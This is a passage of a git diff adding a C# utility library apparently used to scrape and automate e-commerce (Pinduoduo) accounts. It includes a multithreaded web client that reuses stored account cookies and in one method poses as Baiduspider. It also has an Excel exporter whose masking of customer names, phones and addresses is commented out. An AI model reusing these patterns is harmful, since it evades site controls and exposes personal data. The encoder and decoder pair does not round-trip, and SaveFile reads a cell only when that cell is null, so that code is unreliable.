try + { + File.AppendAllText(patch, DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss") + "\r\n" + temp); + } + catch (Exception) + { + BaseClass.ViewCode += "写入IIS日志:" + patch + " 发生错误:" + e.Message + "\r\n"; + } + } + Thread.Sleep(120 * 1000); + } + } + /// + /// 添加日志 + /// + /// 日志 + public static void Add(string message) + { + BaseClass.ViewCode += message + "\r\n"; + if (Logs.Count > 5000) + { + BaseClass.ViewCode += "日志队列超长,请检查日志处理\r\n"; + Logs.Clear(); + return; + } + Logs.Add(message); + } + /// + /// 添加日志 + /// + /// 名称 + /// 日志 + public static void Add(string Name, string message) + { + if (string.IsNullOrEmpty(Name)) + { + Logs.Add(message); + return; + } + if (!Messages.ContainsKey(Name)) + { + try + { + Messages.Add(Name, new List()); + } + catch + { + } + } + try + { + Logs.Add(message); + Messages[Name].Add(message); + } + catch + { + } + + } + /// + /// 添加到显示 + /// + /// 日志 + public static void AddView(string message) + { + BaseClass.ViewCode += message + "\r\n"; + } + + + + /// + /// 设置为最大值,完成 + /// + /// + public static void SetProccessFinish(string name) + { + BaseClass.ProcessList[name].Value = BaseClass.ProcessList[name].Max; + } + + public static void Save(string content, LogType logType) + { + try + { + + if (logType == LogType.Operation) + { + string fileName = DateTime.Now.ToString("yyyy-MM-dd"); + FileBase.WriteTxt("\\temp\\OperationLog", fileName, content, false); + } + if (logType == LogType.Error) + { + string fileName = DateTime.Now.ToString("yyyy-MM-dd"); + FileBase.WriteTxt("\\temp\\ErrorLog", fileName, content, false); + } + } + catch (Exception) + { + + //throw; + } + + } + + + } + + public enum LogType + { + Operation, + Error + } +} diff --git a/AllBase/Md5Base.cs b/AllBase/Md5Base.cs new file mode 100644 index 0000000..d99a8bf --- /dev/null +++ b/AllBase/Md5Base.cs @@ -0,0 +1,139 @@ +/* + * MD5加密 + * 肖俊 + * 2013-6-7 + */ +using System; +using System.Security.Cryptography; +using System.Text; + +namespace AllBase +{ + public static class Md5Base + { + /// + /// MD5加密 + /// + /// + /// + public static string GetMd5(string instring) + { + byte[] result = Encoding.UTF8.GetBytes(string.IsNullOrEmpty(instring)?"": instring.Trim()); + MD5 md5 = new MD5CryptoServiceProvider(); + byte[] output = md5.ComputeHash(result); + return BitConverter.ToString(output).Replace("-", ""); + } + /// + /// MD5加密 + /// + /// + /// + //public static string GetMd5X16(string instring) + //{ + // string temp = GetMd5(instring); + // return temp.Substring(8, 16); + //} + + /// + /// MD5加密 + /// + /// + /// + public static string GetMd5X15(string instring) + { + string temp = GetMd5(instring); + return temp.Substring(8, 15); + } + /// + /// 解码 + /// + /// + /// + public static string DecodeString(string code) + { + try + { + string code1 = + code.Trim().Replace("_1/", "c") + .Replace("_2/", "Y") + .Replace("_3/", "A") + .Replace("_4/", "Z") + .Replace("_5/", "h") + .Replace("_6/", "n") + .Replace("_7/", "I") + .Replace("_8/", "l") + .Replace("_9/", "t") + .Replace("_10/", "e") + .Replace("_11/", "K") + .Replace("_12/", "r") + .Replace("_13/", "o") + .Replace("_14/", "q") + .Replace("_15/", "W") + .Replace("_16/", "+") + .Replace("_17/", "H") + .Replace("_18/", "m") + .Replace("_19/", "F") + .Replace("_20/", "x") + .Replace("_21/", "v") + .Replace("_22/", "B") + .Replace("_23/", "=") + .Replace("_0/", "_"); + byte[] inArray = Convert.FromBase64String(code1); + string html = Encoding.UTF8.GetString(inArray); + html = + html.Replace("_1_", "=") + .Replace("_2_", "?") + .Replace("_3_", "/") + .Replace("_4_", ".") + .Replace("_5_", "&") + .Replace("_6_", "<") + .Replace("_7_", ">") + .Replace("_8_", "'") + .Replace("_9_", "\"") + .Replace("_", "_0"); + return html; + } + catch (Exception e) + { + LogSave.Add("解码数据错误:"+code); + return ""; + } + + } + + /// + /// 加密返回数据 + /// + /// 密文 + /// + public static string EncodeString(string html) + { + if (string.IsNullOrEmpty(html)) + return ""; + html = + html.Replace("_0", "_") + .Replace("=", "_1_") + .Replace("?", "_2_") + .Replace("/", "_3_") + .Replace(".", "_4_") + .Replace("&", "_5_") + .Replace("\\", "_6_") + .Replace(">", "_7_") + .Replace("'", "_8_") + .Replace("\"", "_9_"); + string code = Base64Encode.EncodeBase64(html); + code = + code.Replace("c", "_1_") + .Replace("Y", "_2_") + .Replace("A", "_3_") + .Replace("Z", "_4_") + .Replace("h", "_5_") + .Replace("n", "_6_") + .Replace("I", "_7_") + .Replace("o", "_8_") + .Replace("t", "_9_") + .Replace("=", "_0_"); + return code; + } + } +} diff --git a/AllBase/Model/PddMultiBuyerInfo.cs b/AllBase/Model/PddMultiBuyerInfo.cs new file mode 100644 index 0000000..ae9522e --- /dev/null +++ b/AllBase/Model/PddMultiBuyerInfo.cs @@ -0,0 +1,15 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Model +{ + public class PddMultiBuyerInfo + { + public string pdd_user_id { get; set; } + public string cookies { get; set; } + public int times { get; set; } + } +} diff --git a/AllBase/Model/PddPifaShopInfo.cs b/AllBase/Model/PddPifaShopInfo.cs new file mode 100644 index 0000000..c7b9c16 --- /dev/null +++ b/AllBase/Model/PddPifaShopInfo.cs @@ -0,0 +1,34 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Model +{ + public class PddPifaShopInfo + { + public string PddId { get; set; } + public string PddShopName { get; set; } + public string CookiesJson { get; set; } + + public string CookieStr + { + get + { + string cookieStr = ""; + try + { + var cookieArr = Newtonsoft.Json.Linq.JArray.Parse(CookiesJson); + foreach (var jobj in cookieArr) + { + cookieStr += jobj["Name"] + "=" + jobj["Value"] + ";"; + } + } + catch { } + + return cookieStr; + } + } + } +} diff --git a/AllBase/MultiThreadClient.cs b/AllBase/MultiThreadClient.cs new file mode 100644 index 0000000..2d751fe --- /dev/null +++ b/AllBase/MultiThreadClient.cs @@ -0,0 +1,693 @@ +/* + * 多线程模拟浏览器采集客户端 + * 2013-7-24 + * 肖俊 + */ +using System; +using System.Collections.Generic; +using System.IO; +using System.IO.Compression; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading; + +namespace AllBase +{ + public class MultiThreadClient + { + /// + /// 附加Cookies + /// + public string AddCookies = ""; + /// + /// 指定Cookies + /// + public string Cookies = ""; + /// + /// 指定UserAgent + /// + public string UserAgent = ""; + /// + /// 是否出错 + /// + public bool IsError = false; + /// + /// 是否友情链接查询 + /// + public bool FriendLink = false; + /// + /// 来路 + /// + public string Referer = ""; + /// + /// 是否手机头 + /// + public bool IsMoblie = false; + /// + /// 是否手机头 + /// + public bool IsWhoies = false; + /// + /// 强制定义为GBK编码 + /// + public bool IsGbk = false; + /// + /// 强制定义为GBK编码 + /// + public bool IsUtf8 = false; + /// + /// 强制不跳转 + /// + public bool NoRedir = false; + /// + /// 是否代理模式 + /// + public bool IsProxy = false; + /// + /// 百度搜索错误 + /// + public static bool BaiduError = false; + /// + /// 百度错误时间 + /// + public static DateTime BaiduErrorTime = DateTime.Now; + + public string EndUrl = ""; + /// + /// 超时 + /// + public int TimeOut = 30; + public string GetHtml(string url) + { + return GetHtml(url, -1,null); + } + + public string GetHtml(string url, byte[] post) + { + return GetHtml(url,-1, post); + } + + + /// + /// 采集器 + /// + /// 网址 + /// + public string GetHtml(string url, int isUtf8, byte[] post) + { + IsError = false; + string cookies = "", html = ""; + Random ra = new Random(); + string domain = GetDomain(url); + if (domain == null) + return ""; + if (domain.Length > 4 && + (domain.Substring(0, 2) == "m." || domain.Substring(0, 2) == "wap." || domain.Substring(0, 2) == "3g." || + domain.Substring(0, 2) == "4g.")) + IsMoblie = true; + if (!string.IsNullOrEmpty(url)) + url = url.Trim(); + if (string.IsNullOrEmpty(url)) + return ""; + WebBrowserCoockies wc; + if (IsMoblie) + wc = WebCoockies.MobileCoockies[ra.Next(WebCoockies.MobileCoockies.Count)]; + else + wc = WebCoockies.Coockies[ra.Next(WebCoockies.Coockies.Count)]; + if (wc == null) + wc = new WebBrowserCoockies(); + for (int i = 0; wc.Coockies != null && i < wc.Coockies.Count; i++) + { + if (wc.Coockies[i] != null && wc.Coockies[i].Domain == domain) + { + cookies = wc.Coockies[i].Cookies; + break; + } + } + if (!string.IsNullOrEmpty(UserAgent)) + wc.UserAgent = UserAgent; + if (!string.IsNullOrEmpty(Cookies)) + cookies = Cookies; + WebClientx web = new WebClientx(); + web.AllowAutoRedirect = false; + web.Timeout = TimeOut; + web.Headers.Add("Accept-Language", "zh-CN,zh;q=0.8"); + web.Headers.Add("Accept-Encoding", "gzip, deflate, sdch, br "); + web.Headers.Add("User-Agent", wc.UserAgent); + + if (IsMoblie) + { + web.Headers.Add("X-Requested-With", "com.android.browser"); + web.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); + web.Headers.Add("x-wap-profile", "http://wap1.huawei.com/uaprof/HUAWEI_MT2_T00_UAProfile.xml"); + } + else + { + web.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); + web.Headers.Add("upgrade-insecure-requests", "1"); + } + + if (IsProxy)//是否是代理状态 + web.Headers.Add("Add-UserAgent", wc.UserAgent); + + web.Proxy = null; + if (!string.IsNullOrEmpty(AddCookies) && string.IsNullOrEmpty(cookies)) + cookies += AddCookies; + if (url.Contains("/url=") && IsMoblie) + web.Headers.Add("Add-Cookies", "Moblie"); + if (url.Contains("/url=") && IsWhoies) + web.Headers.Add("Add-Cookies", "whois"); + int retryTimes = 0; + GotoAgen: + EndUrl = url; + web.Headers.Remove("Cookie"); + if (!string.IsNullOrEmpty(cookies)) + web.Headers.Add("Cookie", cookies); + if (!string.IsNullOrEmpty(Referer)) + web.Headers.Add("Referer", Referer); + try + { + byte[] b; + //if (post == null) + //{ + // Stream receiveStream = web.OpenRead(url); + // MemoryStream ms = new MemoryStream(); + // int num; + // byte[] buffer = new byte[10240]; + // do + // { + // num = receiveStream.Read(buffer, 0, buffer.Length); + // if (num > 0) + // ms.Write(buffer, 0, num); + // } while (num > 0); + // b = ms.ToArray(); + // ms.Close(); + //} + //else + //{ + // b = web.UploadData(url, post); + //} + b = post == null ? web.DownloadData(url) : web.UploadData(url, post); + string cookies1 = web.ResponseHeaders.Get("Set-Cookie"); //获取Cookies + string location = web.ResponseHeaders.Get("Location"); //跳转地址 + if (!string.IsNullOrEmpty(cookies1)) + { + cookies = UpCookies(cookies, cookies1); + if (!string.IsNullOrEmpty(Cookies)) + Cookies = cookies; + bool ok = false; + foreach (var c in wc.Coockies) + { + if (c.Domain == domain) + { + c.Cookies = cookies; + ok = true; + } + } + if (!ok) + { + CoockiesBase c = new CoockiesBase(); + c.Cookies = cookies; + c.Domain = domain; + wc.Coockies.Add(c); + } + } + if (string.IsNullOrEmpty(location)) + { + string contentType = web.ResponseHeaders["Content-Type"]; + if (b == null) + return ""; + if (b.Length > 2 * 1024 * 1024) + return "文件太大"; + b = ZipHelper.Decompress(b); + if (b.Length > 2 * 1024 * 1024) + return "文件太大"; + if (!string.IsNullOrEmpty(contentType)) + { + string c = GetRegexString(contentType, "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim().ToLower().Replace("utf8", "utf-8"); + html = Encoding.GetEncoding(c).GetString(b); + } + } + if (string.IsNullOrEmpty(html) && isUtf8 == -1) + { + html = Encoding.GetEncoding("UTF-8").GetString(b); + string r = @"]*?charset=[""']*([\w-]+)[""']*"; + string c = GetRegexString(html, r).Trim(); + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (c.ToLower() != "utf-8" && !string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + else if (string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding("UTF-8").GetString(b); + } + if (!string.IsNullOrEmpty(html) && isUtf8 == -1) + { + if (html.Substring(0, 1) == "锘") + html = Encoding.GetEncoding("UTF-8").GetString(b); + if (html.Contains("�") && (html.Length - html.Replace("�", "").Length > 20)) + html = Encoding.GetEncoding("gbk").GetString(b); + } + if (isUtf8 == 0) + html = Encoding.GetEncoding("gbk").GetString(b); + if (isUtf8 == 1 && string.IsNullOrEmpty(html)) + html = Encoding.UTF8.GetString(b); + if (IsGbk) + html = Encoding.GetEncoding("gbk").GetString(b); + if (IsUtf8) + html = Encoding.GetEncoding("UTF-8").GetString(b); + } + if (retryTimes < 3 && (!string.IsNullOrEmpty(location) || string.IsNullOrEmpty(html))) + { + if (NoRedir) + return location; + + //下面是支持301和302跳转部分 + if (location.Length > 8 && (location.Substring(0, 7) == "http://" || location.Substring(0, 8) == "https://" || location.Substring(0, 6) == "ftp://")) + { + url = location; + + } + else + { + if (location.Substring(0, 1) == "/") + { + string[] l = url.Split('/'); + if (l.Length > 3) + { + url = ""; + for (int i = 0; i < 3; i++) + url += l[i] + "/"; + url += location.Substring(1, location.Length - 1); + } + } + else + { + if (url.Substring(url.Length - 1, 1) == "/") + url += location; + else + url += "/" + location; + } + } + retryTimes++; + goto GotoAgen; + } + } + catch (Exception e) + { + if (e.Message.Contains("(404)") || e.Message.Contains("(403)") || e.Message.Contains("(500)") || e.Message.Contains("指定的路径或文件名太长,")) + { + IsError = true; + return e.Message; + } + if (FriendLink) + { + IsError = true; + return e.Message; + } + if (retryTimes < 1) + { + Thread.Sleep(100); + retryTimes++; + goto GotoAgen; + } + IsError = true; + return e.Message; + } + if (html.Contains("您的访问出错了")) + { + if (!BaiduError) + { + BaiduError = true; + BaiduErrorTime = DateTime.Now; + } + IsError = true; + } + if (BaiduError && BaiduErrorTime.AddMinutes(5) < DateTime.Now) + BaiduError = false; + return html; + } + + + + + + + + + + + + + + + + + /// + /// 返回Utf-8编码 + /// + /// + /// + public string GetByte(string url, ref bool had, out bool isChinese) + { + string html = ""; + had = false; + IsError = false; + isChinese = false; + string cookies = ""; + Random ra = new Random(); + string domain = AllBase.GetHtml.GetDomain(url); + if (string.IsNullOrEmpty(domain)) + return ""; + WebBrowserCoockies wc = WebCoockies.Coockies[ra.Next(WebCoockies.Coockies.Count)]; + + for (int i = 0; wc != null && wc.Coockies != null && i < wc.Coockies.Count; i++) + { + if (wc.Coockies[i] != null && wc.Coockies[i].Domain == domain) + { + cookies = wc.Coockies[i].Cookies; + break; + } + } + WebClientx web = new WebClientx(); + web.Timeout = TimeOut; + web.AllowAutoRedirect = false; + web.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;"); + web.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + web.Headers.Add("Accept-Encoding", "gzip,deflate"); + // if (string.IsNullOrEmpty(UserAgent)) + // web.Headers.Add("User-Agent", wc.UserAgent); + //else + // web.Headers.Add("User-Agent", UserAgent); + web.Headers.Add("User-Agent", "Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)"); + web.Proxy = null; + if (!string.IsNullOrEmpty(AddCookies) && string.IsNullOrEmpty(cookies)) + cookies += AddCookies; + if (!string.IsNullOrEmpty(cookies)) + web.Headers.Add("Cookie", cookies); + if (!string.IsNullOrEmpty(Referer)) + web.Headers.Add("Referer", Referer); + if (url.Contains("/url=") && IsMoblie) + web.Headers.Add("Add-Cookies", "Moblie"); + if (url.Contains("/url=") && IsWhoies) + web.Headers.Add("Add-Cookies", "whois"); + int retryTimes = 0; + byte[] b = null; + GotoAgen: + try + { + int max = 3 * 1024, len = 0;//最大文件为3MB + //Stream receiveStream = web.OpenRead(url); + //MemoryStream ms = new MemoryStream(); + //int num; + //byte[] buffer = new byte[1024]; + //do + //{ + // num = receiveStream.Read(buffer, 0, buffer.Length); + // if (num > 0) + // ms.Write(buffer, 0, num); + // len++; + //} while (num > 0 && len= max)//太大的文件直接跳过 + // return ""; + //b = ms.ToArray(); + //ms.Close(); + b = web.DownloadData(url); + string cookies1 = web.ResponseHeaders.Get("Set-Cookie"); //获取Cookies + string location = web.ResponseHeaders.Get("Location"); //跳转地址 + if (!string.IsNullOrEmpty(cookies1)) + { + cookies = UpCookies(cookies, cookies1); + bool ok = false; + foreach (var c in wc.Coockies) + { + if (c.Domain == domain) + { + c.Cookies = cookies; + ok = true; + } + } + if (!ok) + { + CoockiesBase c = new CoockiesBase(); + c.Cookies = cookies; + c.Domain = domain; + wc.Coockies.Add(c); + } + } + if (string.IsNullOrEmpty(location)) + { + string contentType = web.ResponseHeaders["Content-Type"]; + html = ""; + b = ZipHelper.Decompress(b); + if (b.Length >= max*1024)//太大的文件直接跳过 + return "文件太大"; + //b = GzipDeCompress(b); + if (b == null || b.Length == 0 || b.Length > 2 * 1024 * 1024) + return ""; + try + { + if (!string.IsNullOrEmpty(contentType)) + { + string c = GetRegexString(contentType, "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim().ToLower().Replace("utf8", "utf-8").Replace(";", ""); + html = Encoding.GetEncoding(c).GetString(b); + } + } + if (string.IsNullOrEmpty(html)) + { + html = Encoding.GetEncoding("UTF-8").GetString(b); + string r = @"]*charset=[""']*([^>]+)[""']*[ />]"; + string c = GetRegexString(html, r); + if (c.Contains("\"")) + c = c.Substring(0, c.IndexOf("\"")); + if (c.Contains("'")) + c = c.Substring(0, c.IndexOf("'")); + if (string.IsNullOrEmpty(c)) + c = GetRegexString(html, @"]*charset=[""']([a-z0-9-]+)[""']>"); + if (string.IsNullOrEmpty(c) && !string.IsNullOrEmpty(html) && html.Contains("�") &&html.Length- html.Replace("�","").Length>50) + { + html = Encoding.GetEncoding("gbk").GetString(b); + } + if (!string.IsNullOrEmpty(c) && c.ToLower() != "utf-8") + { + html = Encoding.GetEncoding(c).GetString(b); + } + } + } + catch + { + } + if (IsUtf8|| !string.IsNullOrEmpty(html) && html.Substring(0, 1) == "锘") + { + html = Encoding.UTF8.GetString(b); + } + + } + if (retryTimes < 3 && (!string.IsNullOrEmpty(location) || string.IsNullOrEmpty(html))) + { + //下面是支持301和302跳转部分 + if (location.Length > 8 && (location.Substring(0, 7) == "http://" || location.Substring(0, 8) == "https://" || location.Substring(0, 6) == "ftp://")) + { + url = location; + } + else + { + if (location.Substring(0, 1) == "/") + { + string[] l = url.Split('/'); + if (l.Length > 3) + { + url = ""; + for (int i = 0; i < 3; i++) + url += l[i] + "/"; + url += location.Substring(1, location.Length - 1); + } + } + else + { + if (url.Substring(url.Length - 1, 1) == "/") + url += location; + else + url += "/" + location; + } + } + retryTimes++; + goto GotoAgen; + } + } + catch (Exception e) + { + if (e.Message.Contains("(404)") || e.Message.Contains("(403)") || e.Message.Contains("(500)")) + { + IsError = true; + html = e.Message; + } + if (!IsError && retryTimes < 1) + { + Thread.Sleep(2000); + retryTimes++; + goto GotoAgen; + } + IsError = true; + html = e.Message; + } + if (b == null || b.Length == 0) + return ""; + foreach (byte b1 in b) + { + if (b1 > 227 && b1 < 235) + { + isChinese = true; + break; + } + } + if (html.Length > 2 * 1024 * 1024) + { + had = false; + return ""; + } + had = true; + //if (b == null) // + return html; + + } + + + /// + /// 获取域名 + /// + /// + /// + private string GetDomain(string url) + { + try + { + url = url.Substring(url.IndexOf("//") + 2, url.Length - url.IndexOf("//") - 2); + if (url.IndexOf("/") > -1) + url = url.Substring(0, url.IndexOf("/")); + return url; + } + catch + { + return null; + } + } + + + /// + /// 返回单个正则分析结果 + /// + /// + /// + /// + private string GetRegexString(string HtmlString, string RegexString) + { + MatchCollection mc = Regex.Matches(HtmlString, RegexString, RegexOptions.IgnoreCase); + if (mc.Count > 0) + return mc[0].Groups[1].ToString(); + return ""; + } + + /// + /// 更新cookies + /// + /// + /// + /// + public string UpCookies(string old, string newc) + { + if (string.IsNullOrEmpty(newc)) + return old; + if (string.IsNullOrEmpty(old)) + old = " "; + int io = 0; + old = old.Trim(); + newc = newc.Trim(); + string[] o = old.Split(';'); + string[] n = newc.Split(';'); + List c = new List(); + for (int i = 0; i < o.Length; i++) + { + CoockiesValue cv = new CoockiesValue(); + io = o[i].IndexOf("="); + if (io > -1) + { + cv.Title = o[i].Substring(0, io).Trim(); + cv.Value = o[i].Substring(io + 1, o[i].Length - io - 1).Trim(); + } + else + { + if (!string.IsNullOrEmpty(o[i])) + cv.Title = o[i].Trim(); + } + if (string.IsNullOrEmpty(cv.Title) || cv.Title == "domain" || cv.Title == "expires" || cv.Title == "path" || cv.Title.ToLower() == "httponly") + continue; + if (!string.IsNullOrEmpty(cv.Title)) + c.Add(cv); + } + for (int i = 0; i < n.Length; i++) + { + CoockiesValue cv = new CoockiesValue(); + io = n[i].IndexOf("="); + if (io > -1) + { + cv.Title = n[i].Substring(0, io).Trim(); + cv.Value = n[i].Substring(io + 1, n[i].Length - io - 1).Trim(); + } + else + { + if (!string.IsNullOrEmpty(n[i])) + cv.Title = n[i].Trim(); + } + if (!string.IsNullOrEmpty(cv.Title)) + { + bool isHad = false; + for (int j = 0; j < c.Count; j++) + { + if (cv.Title == c[j].Title) + { + c[j].Value = cv.Value; + isHad = true; + break; + } + } + if (string.IsNullOrEmpty(cv.Title) || string.IsNullOrEmpty(cv.Value) || cv.Title == "domain" || cv.Title == "expires" + || cv.Title == "path"&& !cv.Value.Contains("/,") || cv.Title.ToLower() == "httponly") + continue; + if (!isHad) + { + if (cv.Title == "path" && cv.Value.Contains("/,")&&cv.Value.IndexOf("/,")==0 && cv.Value.Length>2) + { + string t = cv.Value.Substring(2); + if(!t.Contains("=")|| t.IndexOf("=")>t.Length-1) + continue; + cv.Title = t.Substring(0, t.IndexOf("=")); + cv.Value = t.Substring(t.IndexOf("=") + 1); + } + c.Add(cv); + } + } + } + string temp = ""; + for (int i = 0; i < c.Count; i++) + { + if (string.IsNullOrEmpty(c[i].Value)) + temp += c[i].Title + "; "; + else + temp += c[i].Title + "=" + c[i].Value + "; "; + } + return temp; + } + } +} diff --git a/AllBase/OutExcel.cs b/AllBase/OutExcel.cs new file mode 100644 index 0000000..13427f9 --- /dev/null +++ b/AllBase/OutExcel.cs @@ -0,0 +1,194 @@ +using NPOI.SS.UserModel; +using NPOI.XSSF.UserModel; +using System; +using System.Collections.Generic; +using System.Data; +using System.IO; +using System.Text; +using System.Windows.Forms; + +namespace AllBase +{ + public static class OutExcel + { + /// + /// 保存数据 + /// + /// + /// + /// + public static bool SaveFile(string patch, DataGridView dt) + { + + string temp = ""; + for (int i = 0; i < dt.ColumnCount; i++) + { + if (dt.Columns[i].HeaderText != "删除") + temp += dt.Columns[i].HeaderText + "\t"; + } + if (!string.IsNullOrEmpty(temp)) + temp += "\r\n"; + try + { + if (File.Exists(patch)) + File.Delete(patch); + File.WriteAllText(patch, temp, Encoding.Unicode); + temp = ""; + } + catch + { + return false; + } + for (int i = 0; i < dt.RowCount; i++) + { + if (dt.Rows[i].Selected != true) + { + break; + } + for (int j = 0; j < dt.ColumnCount; j++) + { + if (dt.Columns[j].HeaderText != "删除" && dt.Rows[i].Cells[j] == null) + { + temp += dt.Rows[i].Cells[j].Value.ToString() + "\t"; + } + } + temp += "\r\n"; + if (temp.Length > 2000) + { + try + { + File.AppendAllText(patch, temp, Encoding.Unicode); + temp = ""; + } + catch + { + //return false; + } + } + } + if (string.IsNullOrEmpty(temp)) + return true; + try + { + File.AppendAllText(patch, temp, Encoding.Unicode); + } + catch + { + return false; + } + return true; + } + + + public static void ExportToExcel(DataTable dt, string fileName = "") + { + ExportToExcelData(dt, fileName); + } + + public static DataTable ToDataTable(this DataGridView myDGV) + { + DataTable dt = new DataTable(); + for (int i = 0; i < myDGV.ColumnCount; i++) + { + if (myDGV.Columns[i].HeaderText != "图片" && myDGV.Columns[i].HeaderText != "开始拍单" /*&& myDGV.Columns[i].HeaderText != "后台备注"*/) + { + dt.Columns.Add(myDGV.Columns[i].HeaderText); + } + } + //写入数值 + for (int r = 0; r < myDGV.Rows.Count; r++) + { + if (myDGV.SelectedRows.Count > 1) + { + if (myDGV.Rows[r].Selected == false) + { + continue; + } + } + List values = new List(); + for (int i = 0; i < myDGV.ColumnCount; i++) + { + if (myDGV.Columns[i].HeaderText != "图片" && myDGV.Columns[i].HeaderText != "开始拍单" /*&& myDGV.Columns[i].HeaderText != "后台备注"*/) + { + values.Add(myDGV.Rows[r].Cells[i].Value); + } + } + dt.Rows.Add(values.ToArray()); + } + return dt; + } + + + + #region 导出 + /// + /// 数据导出 + /// + /// + /// + public static void ExportToExcelData(this DataTable data, string fileName = "") + { + ExportToExcel(data, "Sheet1", fileName); + } + /// + /// 数据导出 + /// + /// + /// + public static void ExportToExcel(this DataTable data, string sheetName, string fileName = "") + { + bool isFactoryOrder = !string.IsNullOrEmpty(fileName); + + SaveFileDialog fileDialog = new SaveFileDialog(); + //fileDialog.Filter = "Excel(97-2003)|*.xls|Excel(2007-2013)|*.xlsx"; + fileDialog.Filter = "Excel|*.xls|Excel|*.xlsx"; + fileName += DateTime.Now.ToString("yyyyMMddHHmmss"); + fileDialog.FileName = fileName; + + if (fileDialog.ShowDialog() == System.Windows.Forms.DialogResult.Cancel) + { + return; + } + IWorkbook workbook = new XSSFWorkbook(); + ISheet sheet = workbook.CreateSheet(sheetName); + IRow rowHead = sheet.CreateRow(0); + + //填写表头 + for (int i = 0; i < data.Columns.Count; i++) + { + rowHead.CreateCell(i, CellType.String).SetCellValue(data.Columns[i].ColumnName.ToString()); + } + //填写内容 + for (int i = 0; i < data.Rows.Count; i++) + { + IRow row = sheet.CreateRow(i + 1); + for (int j = 0; j < data.Columns.Count; j++) + { + string cValue = data.Rows[i][j].ToString(); + if ((data.Columns[j].ColumnName.ToString() == "姓名" || + data.Columns[j].ColumnName.ToString() == "电话" || + data.Columns[j].ColumnName.ToString() == "地址") && + !isFactoryOrder) + { + //cValue = "******"; + } + row.CreateCell(j, CellType.String).SetCellValue(cValue); + } + } + + for (int i = 0; i < data.Columns.Count; i++) + { + sheet.AutoSizeColumn(i); + } + + using (FileStream stream = File.OpenWrite(fileDialog.FileName)) + { + workbook.Write(stream); + stream.Close(); + } + //MessageBox.Show("导出数据成功!", "提示", MessageBoxButtons.OK, MessageBoxIcon.Information); + GC.Collect(); + } + #endregion + } +} diff --git a/AllBase/Properties/AssemblyInfo.cs b/AllBase/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..b9d1fae --- /dev/null +++ b/AllBase/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// 有关程序集的常规信息通过以下 +// 特性集控制。更改这些特性值可修改 +// 与程序集关联的信息。 +[assembly: AssemblyTitle("AllBase")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("Microsoft")] +[assembly: AssemblyProduct("AllBase")] +[assembly: AssemblyCopyright("Copyright © Microsoft 2015")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// 将 ComVisible 设置为 false 使此程序集中的类型 +// 对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型, +// 则将该类型上的 ComVisible 特性设置为 true。 +[assembly: ComVisible(false)] + +// 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID +[assembly: Guid("08485fa0-be99-4481-b47e-dc7a331c2f34")] + +// 程序集的版本信息由下面四个值组成: +// +// 主版本 +// 次版本 +// 内部版本号 +// 修订号 +// +// 可以指定所有这些值,也可以使用“内部版本号”和“修订号”的默认值, +// 方法是按如下所示使用“*”: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/AllBase/Properties/Resources.resx b/AllBase/Properties/Resources.resx new file mode 100644 index 0000000..c599611 --- /dev/null +++ b/AllBase/Properties/Resources.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + \ No newline at end of file diff --git a/AllBase/Randomx.cs b/AllBase/Randomx.cs new file mode 100644 index 0000000..a9c5409 --- /dev/null +++ b/AllBase/Randomx.cs @@ -0,0 +1,59 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase +{ + public class Randomx + { + public static string WordBase = "AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz"; + public static string NumberBase = "0123456789"; + public static string SignWordBase = ".`~^*_| -#$%&?"; + + public static int GetId(int max) + { + return new Random(Guid.NewGuid().GetHashCode()).Next(0, max); + } + + public static int GetId(int min, int max) + { + return new Random(Guid.NewGuid().GetHashCode()).Next(min, max); + } + + public static string GetWord(int len) + { + StringBuilder s = new StringBuilder(); + for (int i = 0; i < len; i++) + { + s.Append(WordBase[new Random(Guid.NewGuid().GetHashCode()).Next(WordBase.Length)]); + } + return s.ToString(); + } + public static string GetNumber(int len) + { + StringBuilder s = new StringBuilder(); + for (int i = 0; i < len; i++) + { + s.Append(NumberBase[new Random(Guid.NewGuid().GetHashCode()).Next(NumberBase.Length)]); + } + return s.ToString(); + } + /// + /// 获取新的属性名称 + /// + /// + /// + public static string GetNewProp(bool begin, string name) + { + char w = SignWordBase[new 